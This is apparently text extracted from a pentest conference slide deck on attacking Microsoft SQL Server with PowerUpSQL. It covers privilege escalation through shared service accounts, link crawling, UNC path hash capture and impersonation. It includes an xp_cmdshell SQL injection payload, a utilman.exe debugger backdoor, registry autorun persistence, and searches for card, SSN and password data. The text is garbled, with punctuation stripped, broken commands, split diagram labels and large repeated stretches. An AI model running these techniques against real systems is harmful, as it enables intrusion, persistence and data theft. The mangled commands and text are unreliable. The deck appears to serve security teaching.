PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
